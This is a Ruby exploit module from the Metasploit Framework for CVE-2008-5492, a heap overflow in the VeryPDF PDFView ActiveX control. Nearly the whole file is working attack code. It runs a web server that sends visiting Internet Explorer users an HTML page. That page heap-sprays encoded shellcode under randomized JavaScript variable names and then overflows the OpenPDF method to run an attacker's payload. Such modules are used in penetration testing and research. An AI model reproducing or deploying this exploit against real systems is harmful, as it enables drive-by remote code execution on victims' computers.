##
# $Id: verypdf_pdfview.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow',
			'Description'    => %q{
					The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow
				because it fails to properly bounds-check user-supplied data before copying
				it into an insufficiently sized memory buffer. An attacker can exploit this issue
				to execute arbitrary code within the context of the affected application.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC', 'dean <dean [at] zerodaysolutions [dot] com>' ],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2008-5492'],
					[ 'OSVDB', '49871'],
					[ 'BID','32313' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
				],
			'DisclosureDate' => 'Jun 16 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret    = Rex::Text.uri_encode([target.ret].pack('L'))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|
			<html>
				<object id='#{vname}' classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252'></object>
				<script language="JavaScript">
				var #{rand1} = unescape('#{shellcode}');
				var #{rand2} = unescape('#{ret}');
				var #{rand3} = 20;
				var #{rand4} = #{rand3} + #{rand1}.length;
				while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
				var #{rand5} = #{rand2}.substring(0,#{rand4});
				var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
				while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
				var #{rand7} = new Array();
				for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
				var #{rand8} = "";
				for (#{var_i} = 0; #{var_i} < 7024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
				#{vname}.OpenPDF(#{rand8}, 1, 1);
				</script>
			</html>
			|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end